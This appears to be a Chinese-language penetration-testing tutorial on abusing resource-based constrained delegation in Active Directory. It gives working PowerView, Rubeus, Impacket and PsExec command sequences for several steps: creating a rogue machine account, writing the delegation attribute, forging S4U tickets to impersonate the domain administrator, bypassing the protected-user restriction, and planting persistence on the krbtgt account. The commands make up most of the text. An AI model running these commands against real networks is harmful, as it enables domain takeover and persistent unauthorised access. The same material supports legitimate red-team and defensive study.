域渗透——基于资源的约束委派利用
字数 1264 2025-08-25 22:58:40
基于资源的约束委派(RBCD)域渗透利用详解
一、RBCD技术原理概述
基于资源的约束委派(Resource-based constrained delegation, RBCD)是Windows Active Directory中的一种安全机制,与传统约束委派相比具有以下特点:
- 权限要求降低:不再需要域管理员权限设置相关属性
- 票据转发特性:S4U2Proxy返回的票据总是可转发,即使S4U2Self返回的票据不可转发
- 配置方式不同:通过设置目标资源的
msDS-AllowedToActOnBehalfOfOtherIdentity属性实现
二、利用前提条件
- 账户权限:攻击者拥有的账户对目标主机具有写权限(如GenericAll、GenericWrite、WriteProperty、WriteDacl等)
- SPN要求:需要至少一个具有SPN的账户(可通过创建计算机账户获得)
- 环境要求:
- 域环境:test.local
- 目标主机:Windows Server系统(如2008R2、2012R2等)
三、详细利用步骤
1. 权限验证
使用PowerView验证当前用户对目标主机的权限:
Get-DomainUser -Identity qiyou -Properties objectsid
Get-DomainObjectAcl -Identity DM2008 | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}
2. 创建计算机账户
利用MachineAccountQuota特性(默认允许创建10个计算机账户):
New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)
3. 配置RBCD
方法一:使用PowerView
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DM2008 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
方法二:使用ActiveDirectory模块(需Server 2012+)
Set-ADComputer DM2008 -PrincipalsAllowedToDelegateToAccount evilsystem$
4. 请求服务票据
使用Rubeus:
# 获取计算机账户hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local
# 请求CIFS和HOST服务票据(Rubeus需要两者)
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/dm2008 /ptt
使用Impacket:
# 只需请求CIFS服务
getST.py -spn cifs/dm2008 -impersonate administrator test.local/evilsystem\$:evil
5. 获取目标系统访问权限
导入票据后,使用PsExec等工具获取系统访问:
PsExec.exe \\dm2008 cmd.exe
四、敏感用户不可委派情况的绕过
当目标用户设置为"敏感用户不可委派"或属于受保护组时:
- S4U2Self仍可成功,但返回的票据缺少服务名称
- 解决方法:
- 使用ASN.1 Editor手动修改票据添加SPN
- 或使用Rubeus的
tgssub模块自动修改:Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/dm2008 /ptt Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/dm2008 /ptt
五、域权限维持技术
1. 针对KRBTGT账户配置RBCD
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
2. 请求KRBTGT的TGT并获取域控访问
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:krbtgt /ptt
Rubeus.exe asktgs /user:evilsystem$ /enctype:rc4 /service:cifs/dm2012 /domain:test.local /ticket:test.kirbi /ptt
六、注意事项与问题排查
-
Rubeus与Impacket差异:
- Rubeus需要同时申请HOST和CIFS服务票据
- Impacket只需申请CIFS服务票据
-
常见问题:
- 确保
msds-allowedtoactonbehalfofotheridentity属性值为字节数组格式 - 检查目标账户的
TrustedToAuthForDelegation属性(影响票据是否可转发)
- 确保
-
清除RBCD配置:
Set-DomainObject DM2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose